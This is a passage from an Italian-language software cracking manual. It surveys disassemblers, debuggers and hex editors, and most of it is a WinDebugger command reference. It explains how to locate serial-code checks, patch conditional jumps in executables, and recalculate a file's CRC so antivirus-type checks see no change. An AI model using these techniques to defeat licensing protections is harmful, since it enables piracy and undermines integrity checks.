SETUP.INS

_SETUP.LIB è un database compresso da InstallShield il quale può contenere files eseguibili e dll di supporto all'installazione.
Alcune volte questi files di supporto sono nella stessa directory di SETUP.EXE ma altre volte sono compresse dentro a questo file.
Un file spesso utile è lo Spy++ fornito con i linguaggi Microsoft o l'utility similare fornita dalla Borland.
Spy++ è in grado di spiare tutti i messaggi indirizzati alle finestre aperte in Windows con la possibilità di selezionare quali ed in particolare modo ha la possibilità di filtrare i tipi di messaggi.
Alcune volte è facile dedurre con quali funzioni vengono eseguite le letture dei codici di serializzazione mentre altre volte tali funzioni non vengono svolte nei modi classici, con GetDlgItemText o similia, e quindi diventa più complesso identificare il punto giusto dove mettere breakpoint.
SoftIce possiede un metodo per gestire in backtrace ma comunque l'individuazione del punto giusto facilita compiti.
Mediante una funzione particolare di Spy++ è possibile selezionare quale finestra mettere sotto osservazione.
In una finestra di Spy++ esiste un cursore che può essere agganciato con il mouse e trasportato sulla finestra interessata.
Di questa finestra verrà selezionato l'handle.
Successivamente possono essere scelti i messaggi che si vogliono intercettare selezionandoli dalla lista dei messaggi veri e propri oppure scegliendo la classe degli oggetti Windows legati alla tipologia dei messaggi (pulsanti, edit field ecc.)
Tante utilities reperibili su Internet o nei dischi dei compilatori e OS possono diventare utili in certe circostanze.
Programmi come, ad esempio, DUMPBIN.EXE, EDITBIN.EXE ecc. erano presenti in alcune versioni vecchie del compilatore Microsoft.
Anche il vecchio DEBUG.COM del DOS alcune volte può essere utile.
Ricordatevi sempre che spesso, ad esempio nella grafica, un solo programma può fare le cose ma due o tre le possono semplificare.
Pensate quando ad esempio usate un programma per fare scritte a 3 dimensioni.
Un'altro programma lo usate per fare lo sfondo ed un terzo ancora per fondere le due immagini di prima e per crearci degli effetti.
In questo campo il discorso è lo stesso.

Spesso potreste trovarvi nelle "canne" debuggando con SoftIce e quindi potreste prendere DASM per analizzare qualche blocco particolare e dopo avere identificato la posizione usare nuovamente SoftIce per proseguire.
Altre volte l'uso di diversi programmi è obbligatorio in quanto uno viene usato per decryptare il sistema di protezione a tempo.
Un altro per analizzare il programma ed un altro per scrivere su disco i cambiamenti.
Usare sempre gli stessi programmi semplifica la vita anche perchè alcuni pretendono molto tempo per poterli usare con dimestichezza e quindi visti gli sforzi fatti conviene poi farli fruttare.
Spesso si cambiano le cose non perchè non soddisfano più ma solo perchè è di moda aver sempre l'ultima versione.
In questo campo converrebbe vedere i risultati.
Se con un debugger si riesce sempre ad avere sottomano le funzioni necessarie non conviene cambiare spesso anche perchè in quel modo alla fine si conoscerebbero tanti programmi ma nessuno bene.
SoftIce possiede, ad esempio, una così ampia possibilità di breakpoint che la difficoltà è quella di arrivare a comprendere bene quando conviene usarne un tipo e quando invece conviene usarne un altro tipo.
Alcune volte bisogna ricercare nei prodotti utilizzati per la creazione dei programmi o dei settaggi le utility.
Prima dicevo di ICOMP ovvero dell'utility di compressione usato da InstallShield.
Per poter eseguire il cracking è necessario prima scompattare i moduli creati dal gestore delle installazioni e poi eseguire il setup tramite debugger.
Un programma particolare è SMARTCHECK sempre della NuMega che anche se è abbastanza criticato, alcune volte permette di raggiungere degli obbiettivi senza impazzire con altri strumenti più complessi.

SmartCheck è un debugger di run-time che permette di affrontare le condizioni più critiche incontrate con Visual Basic.

- **Errori fatali di run-time che sono complessi da risolvere**
- **Problemi che nascono da seuqenze di azioni**
- **Uso no corretto di funzioni API**
- **Cattivi valori passati come argomenti alle funzioni**
- **Gestione di valori complessi**
- **Errori delle componenti come ActiveX ecc.**

Per quanto ci riguarda è interessante vedere come Smart Check funziona.
Come viene eseuito un .EXE SC continua a funzionare in background monitorandolo in continuazione e catturando tutti gli eventi.
Durante l'esecuzione è ossibile abilitare o disabilitare il report degli eventi.
SM cerca automaticamente gli errori nel programma e nelle DLL associate.
Questo funziona anche su programmi senza sorgenti (cosa per noi fondamentale).
Comunque la cosa migliore stà nel fatto che SM controlla tutte le chiamate alle API, tutti i messaggi e tutti gli altri eventi del programmna.

In questo volume vedrò di trattare tutto quello che e' necessario sapere.
Una parte è dedicata alla teoria destinata a spiegare la filosofia di certi linguaggi, di certi tipi di protezioni e di certi sistemi di sviluppo.
La parte pratica utilizzerà sistemi facilmente reperibili su Internet.

Vi riporterò informazioni in due riprese e dove procurarveli.
Nella prima fase faremo una panoramica di tutti i tipi di programmi mentre nella seconda vedremo la sintassi e degli esempi d’uso.
Riporterò anche delle mappe con su i gruppi di software che potrebbero essere adottati in un caso o nell’altro.
Il manuale tratterà anche esempi portati in diversi linguaggi anche se sicuramente il C è quello più trattato.
Come ripeterò successivamente verrà riportata la sintassi Assembler anche se di fatto non è un manuale di programmazione.
Le conoscenze che si devono avere legate a questo linguaggio sono quelle necessarie per poter seguire il flusso mediante un debugger.
La sintassi dell’Assembler riporta termini che il compilatore e il linker eliminano e quindi analizzando il file eseguibile non sono più visibili.
Per fare un esempio nella programmazione in Assembler esiste la teoria della definizione dei gruppi di segmenti ecc.
Questa teoria fa si che il sorgente debba essere compilato (scritto) in un certo modo.

```
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
```

Il compilatore e il linker tradurrà tante informazioni e termini del linguaggio in indirizzi fisici e questo in particolare modo visti con il debugger in fase di esecuzione.
Se io in un sorgente Assembler scrivo :

```
label:
      mov   ax.1
      jmp   label
```

eseguo un riferimento simbolico che il compilatore traduce in un riferimento rilocabile.
Utilizzando tabelle di rilocazione e fattori fisici legati alla memoria ed al sistema operativo, il programma quando viene letto in memoria non possiede più quei riferimenti in quel modo ma utilizzerà riferimenti ad indirizzi reali od in modo diretto usando l’indirizzamento a 32 bits o utilizzando il metodo della segmentazione.
In pratica, invece del codice precedente, troveremo :

```
0040:4555   ...
0040:6900   mov   ax, 1
0040:6910   jmp 0040:4555
```

Alcuni debugger e disassemblatori tentano di rigenerare i sorgenti in modo più simile all’originale possibile ma non possono fare i miracoli.
Quando i programmi sono scritti in Java allora la conoscenza del linguaggio è essenziale in quanto il flusso dovrà essere seguito in Java.
Prima di iniziare a vedere le varie teorie diamo un occhiata agli strumenti che bisognerebbe avere per poter eseguire certe operazioni.
Tenete presente che nei casi in cui vengono riportate tabelle con le funzioni dei programmi trattati sono quasi sempre files trovati su Internet non soggetti

a Copyright, e quindi riportabili, e che ho mantenuto nella lingua originale per evitare di riportare interpretazioni personali.
Infatti generalmente vengono garantiti i permessi di pubblicazione di certi documenti nella loro forma originale senza che questi possano essere alterati o manomessi in qualsiasi modo.

DISASSEMBLATORI

IDA 3.85
DataRescue sa/nv **PHONE: 32-4-3446510**
45 quai de la Derivation **FAX: 32-4-3446514**
4020 Liege
Belgium
VAT : BE-448.270.553

Qui ci troviamo dinanzi al re dei disassemblatori.
Solo per fare capire la differenza utilizzando il vile byte come confronto possiamo dire che WDASM è un file di 600Kbytes compattato mentre in questo caso il demo della versione 3.85 è un file compattato di 16 Mbytes.
La differenza c'è e si vede anche per le funzioni e per l'accuratezza della traduzione del codice.
In WDASM le funzioni del programma devono essere individuate dalla persona mediante i riferimenti delle varie call.
Qui la ricostruzione è completa.
Le opzioni per l'analisi e la ricostruzione del programma sorgente sono innumerevoli.
L'interfaccia è DOS windovizzata anche se sinceramente la preferisco a quella interamente Windows.
Alla data attuale (10-99) la versione è la 3.85 anche se è disponibile su Internet, a parte la versione crackata, anche una versione FREEWARE.
Inoltre esiste la possibilità di eseguire le analisi in base a diversi processori selezionabili da una lunga lista.

IDA riesce a ricostruire anche le strutture cosa che viene considerata solo come astrazione nei linguaggi a più alto livello.
Il programma può mostrare infinite informazioni in finestre separate.

Ricordatevi prima di prelevare il 16 mbytes del programma dal sito di IDA che il file dispone delle seguenti limitazioni.

Limitations

- **you will not be able to load old databases**
- **you will not be able to produce .lst or .asm files**
- **you will not be able to disassemble files larger than 64kbytes.**
- **this version will expire September 1st, 1998**

The full versions comes with

- **unlimited database support**
- **unlimited output support**
- **file size limit of 64MB**
- **no expiration date**

JAD (per linguaggio JAVA)
Jad - the fast Java Decompiler.
Jad home page: http://web.unicom.com.cy/~kpd/jad.html
Copyright 1997-98 Pavel Kouznetsov.

Si tratta di un programma che si attiva da Dos e che necessita di argomenti sulla linea di comando.
La sintassi è quella mostrata nell'immagine:
Se disponete delle monografie di IoProgrammo relative a Java lo troverete dentro.
Fornendogli in input un file .class avrete in output un file .java.

W32/16DASM89
W32DASM Ver 8.xx Series is designed for Windows 95 and Windows NT 4.0.

http://www.epage.com/page/w32dasm

Si tratta di un potente disassemblatori/debugger che è in grado di ricostruire le tabelle legate alle API importate e quindi in grado di mostrare dove avvengono tali chiamate ecc.
Nel caso di inserimento di codici di attivazione è una funzione importantissima a in quanto permette di non impazzire cercando i riferimenti tramite gli indirizzi.
Il programma apre diverse finestre in cui vengono mostrate moltissime informazioni legate alla memoria ed ai registri.
L'esecuzione è possibile con molte modalità come ad esempio quella passo a passo con by-pass delle funzioni mediante comando manuale, quella passo a passo in automatico ecc.
Sono possibili diversi breakpoint compresi quelli che avvisano quando il viene richiamata qualche DLL o quando vengono create delle threads.
I sorgenti ricavati sono veramente molto dettagliati.
Come dicevo prima dove è possibile WDASM ricrea le informazioni simboliche.

MSVBVM60.__vbaAryDestruct

MSVBVM60.__vbaAryLock
MSVBVM60.__vbaAryUnlock
MSVBVM60.__vbaBoolVarNull
MSVBVM60.__vbaCastObj
MSVBVM60.__vbaCastObjVar

Ad esempio quelle precedenti sono alcune chiamate al modulo del Visual Basic fatte dal programma disassemblato.

HEX WORKSHOP
Hex Workshop, the Professional Hex Editor v2.0
32 bit version - HWORKS32.ZIP
CompuServe: 75554,377
America Online: BreakPoint
Microsoft Network: BreakPoint_Software
Internet: 75554.377@compuserve.com

Quando si arriva ad identificare le procedure dove vengono eseguite le protezioni bisogna scrivere il codice per by-passarle.
Il codice può essere bideato in assembler anche se poi deve essere tradotto in exadecimale per essere scritto dentro al modulo eseguibile dove è residente la protezione vera e propria.
Nel capitolo relativo all'assembler ho riportato le tabelle con i codici operativi in esadecimale proprio per questo motivo.
Generalmente le cose possono essere semplici in quanto spesso si tratta di cambiare dei SALTA_SE_UGUALE in SALTA_SE_DIVERSO e quindi il codice originario necessita di pochissime modifiche che comunque devono essere inserite tramite editor hex.
HexWorkshop è solo uno ma ne esistono altri che tra poco vi mostrerò.

HACKMAN
Hackman v3.0
http://members.tripod.com/~techmasters
mailto:techmasters@geocities.com

Hackman è un ottimo editor hex in quanto dispone di moltissime funzioni tra cui un visualizzatore in assembler.
Questa funzione è spesso utile quando si cercano parti speciali di codice per essere sicuri del posizionamento.Quando si cercano le istruzioni in cui vengono eseguite le protezioni bisogna memorizzarsi da qualche parte le sequenze di codici esadecimali relative alle istruzioni stesse.
Queste informazioni dovranno essere fornite come argomenti per le ricerche dentro al file eseguibile in modo tale da poter inserire le modifiche porprio in quel punto.
Spesso le seuquenze di valori hex si ripetono dentro ad un programma ed è facile perderci gli occhi in mezzo a pagine piene di 0x4D 0xFF ecc.
Dare un occhiata di conferma al codice assemblativo non dispiace.
HackMan dispone inoltre di molte opzioni che permettono di settare le modalità di visualizzazione dei dati.

Spesso si ha a che fare con file con differente byte order.
Esiste infatti una differenza tra il formato Intel e quello Motorola.
HackMan permette di settare anche il byte order.
Tra le altre cose è inserito un calcolatore hex.

HIEW

Molti hacker consigliano HIEW.
Devo ammettere che HIEW dispone di molte ottime funzioni anche se non è un programma Windows.
Una funzione buona che è quella di mostrare l'header di un file EXE editato.
Dentro ad un file .EXE esiste un CRC che permette a certi programmi di verificare se il programma originale ha subito delle modifiche, diaciamo "non autorizzate".
Sono inoltre riportate dentro all'header molte altre informazioni legate alla rilocazione del programma, al numero di pagine ecc.
La cosa ottimale sarebbe quella di eseguire la modifica al codice del file .EXE e quindi di ricalcolare il CRC in modo da non mostrare anomalie ai programmi tipo gli antivirus.
Esistono alcune utility che permettono di fare questo lavoro e tra poco ne parleremo.
L'unica seccatura stà nel fatto che il programma deve essere necessariamente lanciato con il nome del file da editare come argomento.
Anche HIEW permette di mostrare il codice in assembler.

HIEW possiede anche l'opzione per mostrare il codice come se fosse a 16 bits oppure a 32 bits.
Anche se molti editor HEX dispongono della possibilità di mostrare il codice assembler questi non possono comunque sostituire i disassemblatori ed i debugger i quali a differenza dei normali editor possiedono la possibilità di eseguire passo a passo i programmi senza contare che è anche possibile visualizzare tabelle relative al programma stesso come ad esempio funzioni esportate ecc.

WINDEBUGGER

Dentro a prodotti come Visual C++ viene fornito il debugger di Visual Studio.
Microsoft una volta ogni tanto distribuisce dei blocchi di programmi e file contenenti informazioni ed utilities per l'ambiente Windows.
WINDEBUGGER è presente nel pacchetto rilasciato nel settembre 1999.
In pratica ha gli stessi comandi del debugger di Visual Studio tanto da poter essere considerato lo stesso ma esterno a questo.
Sicuramente la potenza di un debugger è anche in funzione alla gamma di breakpoint che può gestire.
Il sistema di breakpoint di WinDebugger possiede un interprete metacircolare.
Questo significa che è possibile eseguire dei comandi quando si attiva un breakpoint.
Il sistema di breakpoint di WDBG permette di usare qualsiasi istruzione di valutazione del C come costrutto condizionale per il breakpoint stesso.
Ad esempio per bloccare il programma ogni volta che il contenuto di una variabile è cambiato è possibile usare il costrutto dentro alla finestra di settaggio dell'espressione :

&<nomevariabile>

Questa tecnica non funziona con le variabili automatiche in quanto l'indirizzo può cambiare essendo in funzione dello stack il quale cambia ogni volta che si entra in una funzione.
Questo è il caso in cui il breakpoint dovrebbe cambiare dinamicamente.
Per questo scopo il breakpoint deve essere abilitato ogni volta che la funzione parte e disabilitato in uscita.
Supponiamo che la nostra funzione si chiami subroutine e che la variabile locale automatica sia i.
Fate partire il programma ed eseguite lo step per entrare nella funzione che definisce la variabile i con :

```
g subroutine
p
bp500 ={subroutine}&i /r4 /C"?i"
```

Il numero del breakpoint deve essere scelto sufficientemente grosso da essere distante dai numeri degli altri breakpoints.
Notate che /r4 dice che la variabile è lunga 4 bytes ovvero le dimensioni di un int.
Dopo aver fatto questo disabilitate il breakpoint con

```
bd500
```

Il secondo breakpoint viene creato sull'entry point della funzione.

```
bp .<FirstLine> /C"be 500;g"
```

La prima linea della funzione, l'entry-point, è il punto in cui deve essere abilitato il nostro breakpoint.
L'ultimo breakpoint deve essere creato sull'ultima linea della funzione.

```
bp .<LastLine> /C"bd 500;g"
```

Come avrete notato i due ultimi breakpoint abilitano il primo in ingresso ed in uscita.
É da notare che se la funzione dispone di più punti di uscita allora si dovranno creare più breakpoints come l'ultimo.
Spesso nella gestione dei watch le variabili controllate vanno fuori scope per cui al posto del valore viene mostrato il messaggio :

CXX0017 Error: symbol not found

Un esempio potrebbe essere quando si crea una common dialog e si esegue il break del programma nell'istante in cui si è dentro a COMDLG32.DLL cercando oi di visualizzare una variabile dentro al programma con ?gVar
Per vedere la variabile dentro al programma è sufficente dare

?{,,myapp}gVar

WDBG gestisce una linea di comando allo start del debugger stesso.
Questo sistema può essere anche utilizzato per debuggare un programma ridirigendo STDIN in modo tale che prenda l'input da tastiera.

windbg cmd /c "app < input.txt"

WDBG e' sìcuramente un debugger molto più adatto all'uso con i sorgenti in quanto molte informazioni non le mostra.
Cosa significa ?
Alcuni debugger come SoftIce devono ricostruire le informazioni.
Nei codici assemblativi compaiono le informazioni simboliche solo perchè queste vengono rigenerate.
In pratica il debugger legge le funzioni importate e gli indirizzi dove sono state posizionate.
Successivamente va a leggere il codice sostituendo gli indirizzi di chiamata con i nomi delle funzioni relative.
Chiaramente possedendo i sorgenti questa ricostruzione non è necessaria visto che sicuramente la fase di debug verrà eseguita seguendo il tracciato nel sorgente.
Il debugger fornisce alcune informazioni come ad esempio quelle dei moduli leti con il programma (DLL, VBX ecc.)
Dispone di finestre di watch, visualizza i registri, permette di inserire breakpoit e possiede un vsiaulizzatore che mostra le chiamate nello stack.
Sicuramente non è il massimo per certi compiti.
I comandi relativi allo step by step sono disponibili mediante pulsanti che permettono di entrare o passare sopra alle funzioni presenti.
La seguente lista mostra i comandi che possono essere dati in WINDEBUGGER n4ella finestra COMMAND.

*	**Comment**

; Command Separator

Syntax

;

Examples

Step twice, printing the variable szVar after each step.

P;?szVar;P;?szVar

Execute to source line 123, print the value of counter, then continue execution.

g@123;?counter;g

? Evaluate Expression

Evaluates and displays the value of the expression or symbol in the context of the current thread and process.

Syntax

? expression [, format]

Parameters

expression

Expression to be evaluated with the expression evaluator.
The C++ expression evaluator cannot calculate expressions that use the conditional operator (?:).

format

C-style format characters. For example, to display an int, use ",i" as the format specifier. Do not use percent signs (%). For more information, see the table below.

Remarks

The following table describes the C-style format characters.

Format	**Definition**	**Example**
D, d, I, I	Signed decimal integer. > ?0x100,i	256
u	Unsigned decimal integer. > ?-1,u	4294967295
o	Octal integer. > ?40000,o	0o000001000000
x, X	Hexadecimal integer. > ?40000,x	0x00040000
f	Signed value in floating point format with six decimal places (takes implicit/explicit type FLOAT as an argument). > ?(float)(3./2.),f	1.500000
e, E	Signed value in scientific notation with up to six decimal places (trailing zeros and decimal point are truncated). > ?(float)(3./2.),e	1.500000e+000
g, G	Signed value in floating point decimal format or scientific format, whichever is more compact. > ?(float)(3./2.),g	1.5
c	Single character. > ?41,c	'A'

s	Characters up to the first null character.		
	> ?szHello,s Hello		(szHello="Hello")
l	Long-Word modifier.	> ?3./2.,lf	1.500000
L	Long-Long Word modifier	> ?0xffffffff,Li	-1
h	Half-Word modifier:	> ?0x12345,hi	9029

Note The 'l", "L", and "h" modifiers work differently with different base types.
If, for instance, you are coercing an expression to type long double (80 bit), the "L" modifier will work correctly on that expression. The "L" modifier also works correctly on long long integer expressions, as shown in the table above.
Windows Debugger implicitly cast values when evaluating an expression. It operates on the actual bit quantity unless coerced through casting, as shown above.

! User Extension DLL

Calls a DLL function from the debugger. Use this command to call special routines while debugging.

Syntax

! [filename.]function [string]

Parameters

filename

Name of the DLL to call (without the .DLL extension), followed by a period (.). The default filename is NTSDEXTS.DLL.

In kernel debugging, the default extension DLL depends upon the target platform:

Target Platform	Default Extension DLL
x86	KDEXTX86.DLL
ALPHA	KDEXTALP.DLL

function

Name of the DLL function to call.

string

String to pass to the DLL function.

Remarks

For a complete list of the built-in extension commands, enter !? at the Windows Debugger prompt. For information on creating and using kernel debugger extensions, see the Windows NT DDK.

| Display Process State

~ Display Thread State

Search for Disassembly Pattern

% Change Context

Changes the context to the specified frame. Updates the Locals window with the variables of the new frame.

Use the KN command to list the call stack with the frame numbers.

Syntax

%[frame]

Parameters

frame

The number of the frame on the call stack to change context to. The current procedure is number 0 on the stack.

.attach Attach to Process

Starts debugging the process specified by process. You can use PView to find process IDs of running programs.

This command is equivalent to the /P command-line option. You can also click Attach to a Process from the Debug menu or press F6.

Syntax

.attach process

Parameters

process

Process identifier of the task to debug, specified in decimal. Use the 0x prefix to specify the process identifier in hexadecimal.

Remarks

The process is attached until the debugger is terminated. There is no command to unattach.

.break Debug Break

.cache Cache Size

WinDbg KD only

Sets the size of the cache for WinDbg KD to use for memory values.

Syntax

.cache [cachesize]

Parameters

cachesize

The size of the kernel debugging cache, in MB. If you do not specify cachesize, the command displays the status of the cache. If you issue the command .cache 0, the cache is disabled.

Remarks

Normal operations, such as single-stepping or the G command, invalidate the cache. If WinDbg KD has frozen the target computer, but hardware on the target

can change memory (for example, through shared memory or DMA), you must disable the cache to see the memory changes. For more information, see Setting Kernel Debugger Options.

.connect Establish Connection

.disconnect Drop Connection

.kill Terminate Process

.list Display Source/Assembly Listing

.logappend Append Log File

.logclose Close Log File

.logopen Open Log File

.opt Set Option

Sets debug options. To view the current debug option settings, use this command with no parameters. To modify a setting, specify the name of the debug option and the appropriate value, as indicated below. The view an individual debug option setting, specify only the name of the debug option.

Syntax

.opt [DebugOption]

Parameters

DebugOption

This parameter be one of the following values.

Value	Meaning
?	Displays the list of supported debug options.
AsmSymbols [on | off]	If this setting is on, show symbols in disassembly.
AsmRaw [on | off]	If this setting is on, show raw data in disassembly.
AttachGo [on | off]	If this setting is on, do not stop debugging when a new process is attached.
BackgroundSym [on | off]	If this setting is on, load symbols in the background.
CaseSensitive [on | off]	If this setting is on, turn on case sensitivity.
ChildGo [on | off]	If this setting is on, do not stop debugging when a new child process is created.
CommandRepeat [on | off]	If this setting is on, ENTER repeats the last command.
DllEm filename	Specifies the name of the execution model DLL.
DllSh filename	Specifies the name of the transport layer DLL.
DllTl filename [args]	Specifies the transport layer DLL.
DllPath ["path"]	Specifies the search path for symbols.
EPStep [on | off]	If this setting is on, the first step goes to the entry point, not to main.
ExitGo [on | off]	If this setting is on, do not stop debugging when a thread terminates.
InheritHandles [on | off]	If this setting is on, the target application inherits handles. This is useful for debugging debuggers.
IgnoreAll [on | off]	If this setting is on, ignore all messages about symbols.
KdInitialBp [on | off]	If this setting is on, kernel debugging stops at the initial breakpoint.

KdEnable [on | off]	If this setting is on, turn on the kernel debugger.
KdGoExit [on | off]	If this setting is on, go on exit.
KdUseModem [on | off]	If this setting is on, the kernel debugger uses modem controls.
KdBaudRate [baud]	Specifies the kernel debugger baud rate (1200, 2400, …).
KdPort [port]	Specifies the kernel debugger communication port (COM1, COM2, …).
KdCacheSize [size]	Specifies the kernel debugger cache size, in bytes.
KdPlatform [x86 | alpha]	Specifies the kernel debugger target system.
MasmEval [on | off]	If this setting is on, turns on MASM-style expression evaluation.
NotifyExit [on | off]	If this setting is on, prints a message upon thread termination.
NotifyNew [on | off]	If this setting is on, prints a message upon thread creation.
ShortContext [on | off]	If this setting is on, displays abbreviated context information.
Verbose [on | off]	If this setting is on, turns on verbose output mode.

.reboot Reboot Target Computer

.reload Reload Symbols

.start Start Debugging

.title Set Title

BA Break on Access

Sets a breakpoint that will be satisfied when the specified memory is accessed.

This command is equivalent to the BP command with the following argument: =address [/Rcount].

Syntax

BA {access}{size} {address}

Parameters

access

The type of access that will satisfy the breakpoint. This parameter can be one of the following values.

Value	Meaning
r	Break on read access.
w	Break on write access.
e	Break on execute access.

size

The size of the location, in bytes, to be monitored for access. This parameter can be 1, 2, or 4.

address

The address at which to start monitoring.

Remarks

This command provides the same functionality that the debug registers provide. You can break execution when the particular memory location is read from, written to, or executed. The following example sets a breakpoint for read access on four bytes of the variable var:

```
ba r4 &var
```

The breakpoint is satisfied only when the access occurs at the given address and for the specified number of bytes. If the memory accessed overlaps the specified area to monitor, the breakpoint is not satisfied.
Note that although the size is required for all breakpoint types, an execute breakpoint is only satisfied if the address is the first byte in the instruction.

BC   Breakpoint Clear

Removes one or more previously set breakpoints from the system. BC * clears all breakpoints.

This command is equivalent to clicking Breakpoints from the Edit menu and clicking Clear or Clear All.

Syntax

BC {breakpoint [[breakpoint...]] | *}

Parameters

breakpoint

The number of the breakpoint to be cleared. Use the Breakpoint List (BL) command to display currently set breakpoints and their numbers. Specify ranges of breakpoints with a hyphen. Separate multiple breakpoints with spaces or commas.

BD   Breakpoint Disable

Disables, but does not delete, one or more breakpoints. BD * disables all breakpoints. While a breakpoint is disabled, the system does not check to see if the conditions specified in the breakpoint are valid.

Use the BE command to reenable a disabled breakpoint.
This command is equivalent to clicking Breakpoints from the Edit menu and clicking Disable.

Syntax

BD {breakpoint [[breakpoint...]] | *}

Parameters

breakpoint

The number of the breakpoint to be disabled. Use the Breakpoint List (BL) command to display currently set breakpoints and their numbers. Specify ranges of breakpoints with a hyphen. Separate multiple breakpoints with spaces or commas.

BE   Breakpoint Enable

Restores one or more breakpoints that were temporarily disabled by the BD command. BE * enables all breakpoints.

This command is equivalent to clicking Breakpoints from the Edit menu and clicking Enable.

Syntax

BE {breakpoint [[breakpoint...]] | *}

Parameters

breakpoint

The number of the breakpoint to be enabled. Use the BL command to display currently set breakpoints and their numbers. Specify ranges of breakpoints with a hyphen. Separate multiple breakpoints with spaces or commas.

BL Breakpoint List

Lists all breakpoints.

This command is equivalent to clicking Breakpoints from the Edit menu.

Syntax

BL

Remarks

For each breakpoint, the command displays the following:

- The breakpoint number
- The breakpoint status, where "E" is for enabled, "D" is for disabled, "V" is for virtual, and "U" is for unknown address. A virtual breakpoint is a breakpoint for code that is not currently loaded.
- The conditional information specifying the breakpoint, such as the address, expression, and length. If a breakpoint has a pass count, the remaining number of times that the breakpoint will be ignored is listed in parentheses.

BL also displays commands to execute, message/message classes (in the case of message breakpoints), thread and process number.

See Also

Context Operator

BP Set Breakpoint

Sets a breakpoint. You can combine locations, conditions, and options to set different kinds of breakpoints. If you do not specify a thread, the breakpoint will apply to all threads.

This command is equivalent to clicking Breakpoints from the Edit menu and clicking Add.

Syntax

[[thread]] BP[[breakpoint]] [[location]] [[condition]] [[option...]]

Parameters

thread

The thread that the breakpoint will apply to. For more information, see Process and Thread Syntax.

breakpoint

The breakpoint number to be set. If the given breakpoint number already exists, the new breakpoint will replace the old.

location

The memory location of the breakpoint, in the format given in the table below.

condition

One of the breakpoint conditions given in the table below. You can specify multiple conditions for a breakpoint.

option

One of the breakpoint options given in the table below. Separate multiple options with spaces.

Remarks

If you want to put a breakpoint on a C++ public, enclose the expression in parentheses. For example, "BP (??MyPublic)" or "BP (operator new)".
On x86 computers, Windows Debugger will use debug registers to implement breakpoints if:

- there is a debug register available
- memory size is 1
- memory size is 2 and address is WORD aligned
- memory size is 4 and address is DWORD aligned

You can use the following options when setting a breakpoint:

Location Description
[[{[[procedure]], [[module]], [[exe]]}]]
address The address for the breakpoint.
[[{[[procedure]], [[module]], [[exe]]}]]
@line The line number for the breakpoint.
Condition Description
?expression Break if expression is true.
=address [[/Rcount]] Break if memory at address has changed. Use the /R option to specify the number of bytes to check (default is 1).
Option Description
/Pcount Ignore the breakpoint count times.
/Ccmdlist Execute cmdlist when the breakpoint is hit. The cmdlist parameter is a semicolon-separated list of one or more debugger commands. If cmdlist includes multiple commands, enclose it in quotes (").
/Mmessagename
/Mmessageclass Break only if the given Win32 message or message class has been received.
/Q Suppress the unresolved-breakpoint dialog box for this breakpoint.
/Hprocess Specify the process number to attach the breakpoint to. Defaults to all threads in the process if /T is not used.If /H is not specified and no target application is running, the default is process 0.
/Tthread Specify the thread number to attach the breakpoint to. Defaults to the current process if /H is not used.
See Also

Context Operator

C Compare Memory

Compares the values held in two memory areas. Specify the first area with the range parameter. Specify the starting address of the second area with address. The second area is the same length as the first. If the two areas are not identical, Windows Debugger will display all memory addresses in range where they do not agree.

Syntax

C range address

Parameters

range

The first memory area to compare. For more information, see Range Syntax.

address

The starting address of the second memory area.

DA, DB, DC, DD, DI, DS, DT, DU, DW Display Memory

Displays the contents of memory in the given range. Each line shows the address of the first byte in the line, followed by the contents of memory at that and following locations.

If you omit range, the command will display memory starting at the ending location of the last display command. This allows you to continuously scan through memory.
This command is equivalent to clicking Memory from the View menu, or pressing ALT+5.

Syntax

D{A|B|C|D|I|S|T|U|W} [[range]]

Parameters

range

The memory area to display. For more information, see Range Syntax.

Remarks

When Windows Debugger is displaying ANSI or Unicode characters, it will stop displaying characters at the first null byte. When displaying ANSI characters, all characters, including non-printable characters, are displayed using the current code page character set. With Unicode, all non-printable and non-mappable characters are displayed as dots.

Command	Definition	Displays
DA	Display ANSI	ANSI (extended ASCII) characters
DB	Display Bytes (char)	Byte values and ANSI characters
DC	Display Code	Assembly-language instructions (disassembly)
DD	Display Double Words (long)	Double-word (four-byte) values and ANSI characters

DI	Display 8-Byte Reals (double)	8-byte hexadecimal values and floating-point representations
DS	Display 4-Byte Reals (float)	4-byte hexadecimal values and floating-point representations
DT	Display 10-Byte Reals (long double)	10-byte hexadecimal values and floating-point representations
DU	Display Unicode	Unicode characters
DW	Display Words (short)	Word values and Unicode characters

Note With the DC (Dump Code) command, you can use the standard range syntax or startaddress L line to dump line instructions starting at startaddress.

EA, EB, ED, EI, ES, ET, EU, EW Enter Values

Enters the values that you specify into memory. If you do not specify any values, the current address and the value at that address will be displayed. You can then enter a new value, preserve the current value in memory by pressing the space bar, or stop entering data by pressing ENTER.

This command is equivalent to clicking Memory from the View menu, or pressing ALT+5, and entering values.

Syntax

E{A|B|D|I|S|T|U|W} address [[values]]

Parameters

address

The starting address at which to enter values.

values

One or more values to enter into memory. Separate multiple numeric values with spaces.

Remarks

When entering numeric values, you can use C-style radix prefixes to override the default radix. Prefix octal constants with a "0o" (for example 0o1776), hexadecimal constants with "0x" (for example 0xF000), and decimal constants with "0t" (for example 0t199).
When entering ANSI or Unicode values, you can include space (" ") characters by enclosing the character string in quotation marks (" or '). If you enclose the string in double quotation marks, Windows Debugger will automatically null-terminate the string. Single quotation marks (') will not add a null character. You can enter standard C escape characters, such as \t, \007, and \".

Command	Enter
EA	ANSI (extended ASCII) characters
EB	Byte values
ED	Double word (four-byte) values
EI	Floating-point numbers (8-byte)
ES	Floating-point numbers (4-byte)
ET	Floating-point numbers (10-byte)
EU	Unicode characters
EW	Word values

F Freeze Thread

Freezes the given thread, causing it to stop and wait until it is unfrozen. Other threads will continue to execute. If no thread is specified, the current thread is frozen.

Use the Z (Unfreeze thread) command to reenable the thread.
This command is equivalent to clicking Threads from the Debug menu, then clicking Freeze or Freeze All.

Syntax

[[thread]] F

Parameters

thread

The thread to be frozen. For more information, see Process and Thread Syntax.
FIA, FIB, FID, FII, FIS, FIT, FIU, FIW   Fill Memory

Fills the memory area specified by range with pattern. The entire range will be filled by repeatedly storing pattern into memory.

Syntax

FI{A|B|D|I|S|T|U|W} range pattern

Parameters

range

The memory area to fill. For more information, see Range Syntax.

pattern

One or more values to fill memory with. Separate multiple numeric values with spaces.

Remarks

When entering numeric values, you can use C-style radix prefixes to override the default radix. Prefix octal constants with a "0o" (for example 0o1776), hexadecimal constants with "0x" (for example 0xF000), and decimal constants with "0t" (for example 0t199).
